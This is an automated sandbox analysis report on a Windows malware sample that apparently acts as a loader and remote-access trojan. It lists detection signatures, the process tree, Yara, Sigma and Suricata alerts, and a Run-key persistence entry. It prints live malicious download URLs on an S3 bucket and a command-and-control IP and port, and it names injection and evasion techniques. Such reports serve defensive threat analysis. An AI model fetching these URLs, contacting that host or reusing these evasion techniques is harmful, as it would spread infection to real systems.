Edit tour

Windows Analysis Report
VJQyKuHEUe.exe

Overview

General Information

Sample name:	VJQyKuHEUe.exe renamed because original name is a hash value
Original sample name:	7b2d2c13f652b5172c9930aa164163caeda8820935cccd9983d924aa90d294d0.exe
Analysis ID:	1577406
MD5:	703274fa7a3febb125ce7ea741a2d546
SHA1:	557e4513056574074cb1a4070842561519136ec9
SHA256:	7b2d2c13f652b5172c9930aa164163caeda8820935cccd9983d924aa90d294d0
Tags:	anydesk17-s3-ap-east-1-amazonaws-comexeSilverFoxuser-JAMESWT_MHT
Infos:

Detection

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Detected unpacking (overwrites its own PE header)

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Allocates memory in foreign processes

Found direct / indirect Syscall (likely to bypass EDR)

Injects code into the Windows Explorer (explorer.exe)

Machine Learning detection for sample

Modifies the context of a thread in another process (thread injection)

Query firmware table information (likely to detect VMs)

Sample is not signed and drops a device driver

Sigma detected: Potentially Suspicious Malware Callback Communication

Tries to detect sandboxes / dynamic malware analysis system (QueryWinSAT)

Writes to foreign memory regions

AV process strings found (often used to terminate AV products)

Allocates memory with a write watch (potentially for evading sandboxes)

Binary contains a suspicious time stamp

Checks for available system drives (often done to infect USB drives)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)

Contains functionality to communicate with device drivers

Contains functionality to query locales information (e.g. system language)

Contains long sleeps (>= 3 min)

Creates COM task schedule object (often to register a task for autostart)

Creates a DirectInput object (often for capturing keystrokes)

Creates a process in suspended mode (likely to inject code)

Creates driver files

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Drops PE files

Drops files with a non-matching file extension (content does not match file extension)

Enables debug privileges

Extensive use of GetProcAddress (often used to hide API calls)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found evasive API chain checking for process token information

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Installs a global mouse hook

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

One or more processes crash

PE / OLE file has an invalid certificate

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Sigma detected: CurrentVersion Autorun Keys Modification

Stores large binary data to the registry

Suricata IDS alerts with low severity for network traffic

Uses code obfuscation techniques (call, push, ret)

Yara signature match

Classification

Process Tree

System is w10x64

VJQyKuHEUe.exe (PID: 1472 cmdline: "C:\Users\user\Desktop\VJQyKuHEUe.exe" MD5: 703274FA7A3FEBB125CE7EA741A2D546)

zfon.exe (PID: 6208 cmdline: "C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe" MD5: 44AD77338A945FE1451861B59267A68D)

zfon.exe (PID: 2000 cmdline: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe /aut MD5: 44AD77338A945FE1451861B59267A68D)

WerFault.exe (PID: 6476 cmdline: C:\Windows\system32\WerFault.exe -u -p 2000 -s 456 MD5: FD27D9F6D02763BDE32511B5DF7FF7A0)

explorer.exe (PID: 1028 cmdline: C:\Windows\Explorer.EXE MD5: 662F4F92FDE3557E86D110526BB578D5)

WerFault.exe (PID: 4160 cmdline: C:\Windows\system32\WerFault.exe -u -p 2000 -s 92 MD5: FD27D9F6D02763BDE32511B5DF7FF7A0)

hh.exe (PID: 5780 cmdline: C:\windows\hh.exe MD5: 2C8FE78D53C8CA27523A71DFD2938241)

explorer.exe (PID: 6412 cmdline: explorer.exe MD5: 662F4F92FDE3557E86D110526BB578D5)

zfon.exe (PID: 6632 cmdline: "C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe" MD5: 44AD77338A945FE1451861B59267A68D)

zfon.exe (PID: 1996 cmdline: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe /aut MD5: 44AD77338A945FE1451861B59267A68D)

zfon.exe (PID: 6528 cmdline: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe MD5: 44AD77338A945FE1451861B59267A68D)

zfon.exe (PID: 6160 cmdline: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe /aut MD5: 44AD77338A945FE1451861B59267A68D)

zfon.exe (PID: 1476 cmdline: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe MD5: 44AD77338A945FE1451861B59267A68D)

zfon.exe (PID: 5672 cmdline: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe /aut MD5: 44AD77338A945FE1451861B59267A68D)

zfon.exe (PID: 2172 cmdline: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe MD5: 44AD77338A945FE1451861B59267A68D)

zfon.exe (PID: 5592 cmdline: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe /aut MD5: 44AD77338A945FE1451861B59267A68D)

cleanup

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	Windows_Trojan_Donutloader_f40e3759	unknown	unknown	0x30f3c5:$x64: 06 B8 03 40 00 80 C3 4C 8B 49 10 49 0x3e9299:$x64: 06 B8 03 40 00 80 C3 4C 8B 49 10 49

Memory Dumps

Source	Rule	Description	Author	Strings
0000000B.00000000.2552109850.0000000003050000.00000040.00000001.00020000.00000000.sdmp	Windows_Trojan_Donutloader_f40e3759	unknown	unknown	0x21f67:$x64: 06 B8 03 40 00 80 C3 4C 8B 49 10 49
00000006.00000002.2606324920.00007FF7F96E1000.00000020.00000001.01000000.0000000A.sdmp	Windows_Trojan_Donutloader_f40e3759	unknown	unknown	0x136033:$x64: 06 B8 03 40 00 80 C3 4C 8B 49 10 49
0000000B.00000002.2582901850.0000000003050000.00000040.00000001.00020000.00000000.sdmp	Windows_Trojan_Donutloader_f40e3759	unknown	unknown	0x21f67:$x64: 06 B8 03 40 00 80 C3 4C 8B 49 10 49
00000005.00000002.2529216553.000001AB8875C000.00000004.00000020.00020000.00000000.sdmp	Windows_Trojan_Donutloader_f40e3759	unknown	unknown	0x43ebc:$x64: 06 B8 03 40 00 80 C3 4C 8B 49 10 49
00000007.00000002.4591031165.000001CDCB5B0000.00000020.00000400.00020000.00000000.sdmp	Windows_Trojan_Donutloader_f40e3759	unknown	unknown	0x2df1c:$x64: 06 B8 03 40 00 80 C3 4C 8B 49 10 49
00000006.00000002.2603939256.000002DC4BD60000.00000004.00001000.00020000.00000000.sdmp	Windows_Trojan_Donutloader_f40e3759	unknown	unknown	0xc77af:$x64: 06 B8 03 40 00 80 C3 4C 8B 49 10 49
00000000.00000002.2529667483.0000000002A4F000.00000004.00000800.00020000.00000000.sdmp	Windows_Trojan_Donutloader_f40e3759	unknown	unknown	0x12f2:$x64: 06 B8 03 40 00 80 C3 4C 8B 49 10 49
00000006.00000003.2529019018.000002DC4A449000.00000004.00000020.00020000.00000000.sdmp	Windows_Trojan_Donutloader_f40e3759	unknown	unknown	0x72a6b:$x64: 06 B8 03 40 00 80 C3 4C 8B 49 10 49
00000006.00000002.2604535605.000002DC4BEE7000.00000008.10000000.00040000.00000000.sdmp	Windows_Trojan_Donutloader_f40e3759	unknown	unknown	0x21c87:$x64: 06 B8 03 40 00 80 C3 4C 8B 49 10 49
Click to see the 4 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
6.2.zfon.exe.7ff7f96e0000.0.unpack	Windows_Trojan_Donutloader_f40e3759	unknown	unknown	0x136433:$x64: 06 B8 03 40 00 80 C3 4C 8B 49 10 49

Sigma Signatures

System Summary

Sigma detected: Potentially Suspicious Malware Callback Communication

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 27.50.63.8, DestinationIsIpv6: false, DestinationPort: 4433, EventID: 3, Image: C:\Windows\hh.exe, Initiated: true, ProcessId: 5780, Protocol: tcp, SourceIp: 192.168.2.5, SourceIsIpv6: false, SourcePort: 49794

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe, EventID: 13, EventType: SetValue, Image: C:\Windows\explorer.exe, ProcessId: 1028, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\OpenAI_Service

Suricata Signatures

ET MALWARE Anonymous RAT CnC Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-18T13:06:30.366027+0100	2052875	1	A Network Trojan was detected	192.168.2.5	49794	27.50.63.8	4433	TCP
2024-12-18T13:07:44.715735+0100	2052875	1	A Network Trojan was detected	192.168.2.5	49794	27.50.63.8	4433	TCP
2024-12-18T13:08:49.924265+0100	2052875	1	A Network Trojan was detected	192.168.2.5	50012	27.50.63.8	4433	TCP

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-18T13:05:50.566344+0100	2803305	3	Unknown Traffic	192.168.2.5	49714	3.5.237.31	443	TCP
2024-12-18T13:05:54.492005+0100	2803305	3	Unknown Traffic	192.168.2.5	49715	3.5.238.183	443	TCP
2024-12-18T13:05:58.604327+0100	2803305	3	Unknown Traffic	192.168.2.5	49722	3.5.238.183	443	TCP
2024-12-18T13:06:01.843523+0100	2803305	3	Unknown Traffic	192.168.2.5	49731	3.5.239.146	443	TCP
2024-12-18T13:06:04.720219+0100	2803305	3	Unknown Traffic	192.168.2.5	49743	3.5.239.146	443	TCP
2024-12-18T13:06:09.012883+0100	2803305	3	Unknown Traffic	192.168.2.5	49749	52.95.161.33	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: https://anydesk17.s3.ap-east-1.amazonaws.com/aut.png	Avira URL Cloud: Label: malware
Source: https://anydesk17.s3.ap-east-1.amazonaws.com/view.png	Avira URL Cloud: Label: malware
Source: https://anydesk17.s3.ap-east-1.amazonaws.com/libcef.dll	Avira URL Cloud: Label: malware

Multi AV Scanner detection for dropped file

Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\libcef.raw

ReversingLabs: Detection: 23%

Multi AV Scanner detection for submitted file

Source: VJQyKuHEUe.exe

ReversingLabs: Detection: 34%

Machine Learning detection for sample

Source: VJQyKuHEUe.exe

Joe Sandbox ML: detected

Compliance

Detected unpacking (overwrites its own PE header)

Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe

Unpacked PE file: 6.2.zfon.exe.7ff7f96e0000.0.unpack

Source: unknown

HTTPS traffic detected: 3.5.237.31:443 -> 192.168.2.5:49710 version: TLS 1.2

Source: VJQyKuHEUe.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: C:\buildworker\csgo_rel_win64\build\_build_\valve_wmf\_vpc_valve_wmf\default\win64\_msvc_\Retail\valve_wmf.pdb source: VJQyKuHEUe.exe
Source:	Binary string: D:\a\_work\1\s\binaries\amd64ret\bin\amd64\\vcruntime140_1.amd64.pdb source: zfon.exe, 00000005.00000002.2549570951.00007FF8BFAD5000.00000002.00000001.01000000.0000000E.sdmp, zfon.exe, 00000006.00000002.2626243469.00007FF8BFAD5000.00000002.00000001.01000000.0000000E.sdmp, zfon.exe, 0000001A.00000002.2826630254.00007FF8BFB85000.00000002.00000001.01000000.0000000E.sdmp, zfon.exe, 0000001B.00000002.2826626774.00007FF8BFB85000.00000002.00000001.01000000.0000000E.sdmp, zfon.exe, 0000001C.00000002.2983575039.00007FF8BFB75000.00000002.00000001.01000000.0000000E.sdmp, zfon.exe, 0000001D.00000002.2983573004.00007FF8BFB75000.00000002.00000001.01000000.0000000E.sdmp, zfon.exe, 0000001E.00000002.3573610429.00007FF8BFB85000.00000002.00000001.01000000.0000000E.sdmp, zfon.exe, 0000001F.00000002.3573612962.00007FF8BFB85000.00000002.00000001.01000000.0000000E.sdmp, zfon.exe, 00000022.00000002.4202113973.00007FF8BFB85000.00000002.00000001.01000000.0000000E.sdmp, zfon.exe, 00000023.00000002.4200959181.00007FF8BFB85000.00000002.00000001.01000000.0000000E.sdmp, vcruntime140_1.dll.0.dr
Source:	Binary string: C:\projects\hydra\main\Release_X64\sceneProd\sceneSourceCef.pdb source: zfon.exe, zfon.exe, 00000006.00000002.2606835994.00007FF7F98D5000.00000002.00000001.01000000.0000000A.sdmp, zfon.exe, 0000001A.00000000.2806503804.00007FF7F98D5000.00000002.00000001.01000000.0000000A.sdmp, zfon.exe, 0000001B.00000002.2809299266.00007FF7F98D5000.00000002.00000001.01000000.0000000A.sdmp, zfon.exe, 0000001C.00000000.2959614142.00007FF7F98D5000.00000002.00000001.01000000.0000000A.sdmp, zfon.exe, 0000001D.00000000.2960499282.00007FF7F98D5000.00000002.00000001.01000000.0000000A.sdmp, zfon.exe, 0000001E.00000002.3553393851.00007FF7F98D5000.00000002.00000001.01000000.0000000A.sdmp, zfon.exe, 0000001F.00000002.3553394809.00007FF7F98D5000.00000002.00000001.01000000.0000000A.sdmp, zfon.exe, 00000022.00000002.4185877613.00007FF7F98D5000.00000002.00000001.01000000.0000000A.sdmp, zfon.exe, 00000023.00000000.4182637611.00007FF7F98D5000.00000002.00000001.01000000.0000000A.sdmp
Source:	Binary string: d:\agent\_work\2\s\binaries\amd64ret\bin\amd64\\msvcp140.amd64.pdb source: zfon.exe, 00000005.00000002.2548344491.00007FF8B9132000.00000002.00000001.01000000.0000000C.sdmp, zfon.exe, 00000006.00000002.2624943938.00007FF8B9132000.00000002.00000001.01000000.0000000C.sdmp, zfon.exe, 0000001A.00000002.2822975181.00007FF8A93A2000.00000002.00000001.01000000.0000000C.sdmp, zfon.exe, 0000001B.00000002.2822877853.00007FF8A93A2000.00000002.00000001.01000000.0000000C.sdmp, zfon.exe, 0000001C.00000002.2982816689.00007FF8A8052000.00000002.00000001.01000000.0000000C.sdmp, zfon.exe, 0000001D.00000002.2982816052.00007FF8A8052000.00000002.00000001.01000000.0000000C.sdmp, zfon.exe, 0000001E.00000002.3573056415.00007FF8A93A2000.00000002.00000001.01000000.0000000C.sdmp, zfon.exe, 0000001F.00000002.3573084819.00007FF8A93A2000.00000002.00000001.01000000.0000000C.sdmp, zfon.exe, 00000022.00000002.4198997991.00007FF8B8342000.00000002.00000001.01000000.0000000C.sdmp, zfon.exe, 00000023.00000002.4198930072.00007FF8B8342000.00000002.00000001.01000000.0000000C.sdmp, MSVCP140.dll.0.dr
Source:	Binary string: C:\Users\Nash0r\Desktop\safe\Cproject\dll_Hijack\PoolParty-main\x64\Release\PoolParty.pdb source: zfon.exe, 00000006.00000002.2603939256.000002DC4BD60000.00000004.00001000.00020000.00000000.sdmp, zfon.exe, 00000006.00000002.2604339396.000002DC4BEC5000.00000002.10000000.00040000.00000000.sdmp
Source:	Binary string: C:\Users\Nash0r\Desktop\safe\Cproject\dll_Hijack\PoolParty-main\x64\Release\PoolParty.pdbC source: zfon.exe, 00000006.00000002.2603939256.000002DC4BD60000.00000004.00001000.00020000.00000000.sdmp, zfon.exe, 00000006.00000002.2604339396.000002DC4BEC5000.00000002.10000000.00040000.00000000.sdmp
Source:	Binary string: d:\code\personal\soft_distribute_tags\code\CSharpInstaller13\obj\Release\counterstand.pdb source: VJQyKuHEUe.exe
Source:	Binary string: D:\a\_work\1\s\binaries\amd64ret\bin\amd64\\vcruntime140.amd64.pdb source: zfon.exe, 00000005.00000002.2549976829.00007FF8BFB63000.00000002.00000001.01000000.0000000D.sdmp, zfon.exe, 00000006.00000002.2627113916.00007FF8BFB63000.00000002.00000001.01000000.0000000D.sdmp, zfon.exe, 0000001A.00000002.2827027498.00007FF8BFBA3000.00000002.00000001.01000000.0000000D.sdmp, zfon.exe, 0000001B.00000002.2827030579.00007FF8BFBA3000.00000002.00000001.01000000.0000000D.sdmp, zfon.exe, 0000001C.00000002.2983306377.00007FF8AF893000.00000002.00000001.01000000.0000000D.sdmp, zfon.exe, 0000001D.00000002.2983300322.00007FF8AF893000.00000002.00000001.01000000.0000000D.sdmp, zfon.exe, 0000001E.00000002.3573963734.00007FF8BFBA3000.00000002.00000001.01000000.0000000D.sdmp, zfon.exe, 0000001F.00000002.3573968038.00007FF8BFBA3000.00000002.00000001.01000000.0000000D.sdmp, zfon.exe, 00000022.00000002.4204868510.00007FF8BFBA3000.00000002.00000001.01000000.0000000D.sdmp, zfon.exe, 00000023.00000002.4202524795.00007FF8BFBA3000.00000002.00000001.01000000.0000000D.sdmp, VCRUNTIME140.dll.0.dr
Source:	Binary string: q8EC:\buildworker\csgo_rel_win64\build\_build_\valve_wmf\_vpc_valve_wmf\default\win64\_msvc_\Retail\valve_wmf.pdb source: VJQyKuHEUe.exe
Source:	Binary string: D:\a\_work\1\s\binaries\amd64ret\bin\amd64\\vcruntime140.amd64.pdbGCTL source: zfon.exe, 00000005.00000002.2549976829.00007FF8BFB63000.00000002.00000001.01000000.0000000D.sdmp, zfon.exe, 00000006.00000002.2627113916.00007FF8BFB63000.00000002.00000001.01000000.0000000D.sdmp, zfon.exe, 0000001A.00000002.2827027498.00007FF8BFBA3000.00000002.00000001.01000000.0000000D.sdmp, zfon.exe, 0000001B.00000002.2827030579.00007FF8BFBA3000.00000002.00000001.01000000.0000000D.sdmp, zfon.exe, 0000001C.00000002.2983306377.00007FF8AF893000.00000002.00000001.01000000.0000000D.sdmp, zfon.exe, 0000001D.00000002.2983300322.00007FF8AF893000.00000002.00000001.01000000.0000000D.sdmp, zfon.exe, 0000001E.00000002.3573963734.00007FF8BFBA3000.00000002.00000001.01000000.0000000D.sdmp, zfon.exe, 0000001F.00000002.3573968038.00007FF8BFBA3000.00000002.00000001.01000000.0000000D.sdmp, zfon.exe, 00000022.00000002.4204868510.00007FF8BFBA3000.00000002.00000001.01000000.0000000D.sdmp, zfon.exe, 00000023.00000002.4202524795.00007FF8BFBA3000.00000002.00000001.01000000.0000000D.sdmp, VCRUNTIME140.dll.0.dr
Source:	Binary string: D:\a\_work\1\s\binaries\amd64ret\bin\amd64\\vcruntime140_1.amd64.pdbGCTL source: zfon.exe, 00000005.00000002.2549570951.00007FF8BFAD5000.00000002.00000001.01000000.0000000E.sdmp, zfon.exe, 00000006.00000002.2626243469.00007FF8BFAD5000.00000002.00000001.01000000.0000000E.sdmp, zfon.exe, 0000001A.00000002.2826630254.00007FF8BFB85000.00000002.00000001.01000000.0000000E.sdmp, zfon.exe, 0000001B.00000002.2826626774.00007FF8BFB85000.00000002.00000001.01000000.0000000E.sdmp, zfon.exe, 0000001C.00000002.2983575039.00007FF8BFB75000.00000002.00000001.01000000.0000000E.sdmp, zfon.exe, 0000001D.00000002.2983573004.00007FF8BFB75000.00000002.00000001.01000000.0000000E.sdmp, zfon.exe, 0000001E.00000002.3573610429.00007FF8BFB85000.00000002.00000001.01000000.0000000E.sdmp, zfon.exe, 0000001F.00000002.3573612962.00007FF8BFB85000.00000002.00000001.01000000.0000000E.sdmp, zfon.exe, 00000022.00000002.4202113973.00007FF8BFB85000.00000002.00000001.01000000.0000000E.sdmp, zfon.exe, 00000023.00000002.4200959181.00007FF8BFB85000.00000002.00000001.01000000.0000000E.sdmp, vcruntime140_1.dll.0.dr

Source: C:\Windows\hh.exe	File opened: z:	Jump to behavior
Source: C:\Windows\hh.exe	File opened: x:	Jump to behavior
Source: C:\Windows\hh.exe	File opened: v:	Jump to behavior
Source: C:\Windows\hh.exe	File opened: t:	Jump to behavior
Source: C:\Windows\hh.exe	File opened: r:	Jump to behavior
Source: C:\Windows\hh.exe	File opened: p:	Jump to behavior
Source: C:\Windows\hh.exe	File opened: n:	Jump to behavior
Source: C:\Windows\hh.exe	File opened: l:	Jump to behavior
Source: C:\Windows\hh.exe	File opened: j:	Jump to behavior
Source: C:\Windows\hh.exe	File opened: h:	Jump to behavior
Source: C:\Windows\hh.exe	File opened: f:	Jump to behavior
Source: C:\Windows\explorer.exe	File opened: d:	Jump to behavior
Source: C:\Windows\hh.exe	File opened: b:	Jump to behavior
Source: C:\Windows\hh.exe	File opened: y:	Jump to behavior
Source: C:\Windows\hh.exe	File opened: w:	Jump to behavior
Source: C:\Windows\hh.exe	File opened: u:	Jump to behavior
Source: C:\Windows\hh.exe	File opened: s:	Jump to behavior
Source: C:\Windows\hh.exe	File opened: q:	Jump to behavior
Source: C:\Windows\hh.exe	File opened: o:	Jump to behavior
Source: C:\Windows\hh.exe	File opened: m:	Jump to behavior
Source: C:\Windows\hh.exe	File opened: k:	Jump to behavior
Source: C:\Windows\hh.exe	File opened: i:	Jump to behavior
Source: C:\Windows\hh.exe	File opened: g:	Jump to behavior
Source: C:\Windows\hh.exe	File opened: e:	Jump to behavior
Source: C:\Windows\explorer.exe	File opened: c:	Jump to behavior
Source: C:\Windows\hh.exe	File opened: [:	Jump to behavior

Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}	Jump to behavior
Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\TreatAs	Jump to behavior
Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocServer32	Jump to behavior
Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocHandler32	Jump to behavior
Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocHandler	Jump to behavior
Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}	Jump to behavior
Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\TreatAs	Jump to behavior
Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocServer32	Jump to behavior
Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocHandler32	Jump to behavior
Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocHandler	Jump to behavior
Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\LocalServer32	Jump to behavior
Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\LocalServer	Jump to behavior
Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}	Jump to behavior
Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\Elevation	Jump to behavior
Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}	Jump to behavior
Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\TreatAs	Jump to behavior

Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe	Code function: 5_2_00007FF8B90F0E70 FindFirstFileExW,FindClose,wcscpy_s,	5_2_00007FF8B90F0E70
Source: C:\Windows\hh.exe	Code function: 7_2_000001CDCB8FF350 CreateToolhelp32Snapshot,CreateToolhelp32Snapshot,CreateToolhelp32Snapshot,RegQueryValueExW,RegQueryValueExW,RegQueryValueExW,RegQueryValueExW,RegQueryValueExW,CreateFileW,WriteFile,FindFirstFileW,_invalid_parameter_noinfo_noreturn,	7_2_000001CDCB8FF350
Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe	Code function: 26_2_00007FF8A9360E70 FindFirstFileExW,FindClose,wcscpy_s,	26_2_00007FF8A9360E70
Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe	Code function: 28_2_00007FF8A8010E70 FindFirstFileExW,FindClose,wcscpy_s,	28_2_00007FF8A8010E70

Source: C:\Windows\hh.exe

Code function: 7_2_000001CDCB8F6370 gethostname,gethostbyname,RegOpenKeyExW,RegQueryValueExW,RegCloseKey,GetSystemInfo,GetDriveTypeW,GetDiskFreeSpaceExW,GlobalMemoryStatusEx,GetLocalTime,GetNativeSystemInfo,K32GetProcessImageFileNameW,GetLogicalDriveStringsW,CoInitializeEx,CoCreateInstance,RegOpenKeyExW,GetLocaleInfoW,GetCurrentHwProfileW,RegOpenKeyExW,RegDeleteValueW,RegCreateKeyW,RegSetValueExW,CreateToolhelp32Snapshot,CreateToolhelp32Snapshot,CreateToolhelp32Snapshot,

7_2_000001CDCB8F6370

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2052875 - Severity 1 - ET MALWARE Anonymous RAT CnC Checkin : 192.168.2.5:49794 -> 27.50.63.8:4433
Source: Network traffic	Suricata IDS: 2052875 - Severity 1 - ET MALWARE Anonymous RAT CnC Checkin : 192.168.2.5:50012 -> 27.50.63.8:4433

Source: global traffic

TCP traffic: 192.168.2.5:49794 -> 27.50.63.8:4433

Source: global traffic	HTTP traffic detected: GET /zfon.exe HTTP/1.1Host: anydesk17.s3.ap-east-1.amazonaws.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /view.png HTTP/1.1Host: anydesk17.s3.ap-east-1.amazonaws.com
Source: global traffic	HTTP traffic detected: GET /aut.png HTTP/1.1Host: anydesk17.s3.ap-east-1.amazonaws.com
Source: global traffic	HTTP traffic detected: GET /VCRUNTIME140.dll HTTP/1.1Host: anydesk17.s3.ap-east-1.amazonaws.com
Source: global traffic	HTTP traffic detected: GET /vcruntime140_1.dll HTTP/1.1Host: anydesk17.s3.ap-east-1.amazonaws.com
Source: global traffic	HTTP traffic detected: GET /MSVCP140.dll HTTP/1.1Host: anydesk17.s3.ap-east-1.amazonaws.com
Source: global traffic	HTTP traffic detected: GET /libcef.dll HTTP/1.1Host: anydesk17.s3.ap-east-1.amazonaws.com

Source: Joe Sandbox View

IP Address: 27.50.63.8 27.50.63.8

Source: Joe Sandbox View

ASN Name: BCPL-SGBGPNETGlobalASNSG BCPL-SGBGPNETGlobalASNSG

Source: Joe Sandbox View

JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:49715 -> 3.5.238.183:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:49714 -> 3.5.237.31:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:49722 -> 3.5.238.183:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:49731 -> 3.5.239.146:443
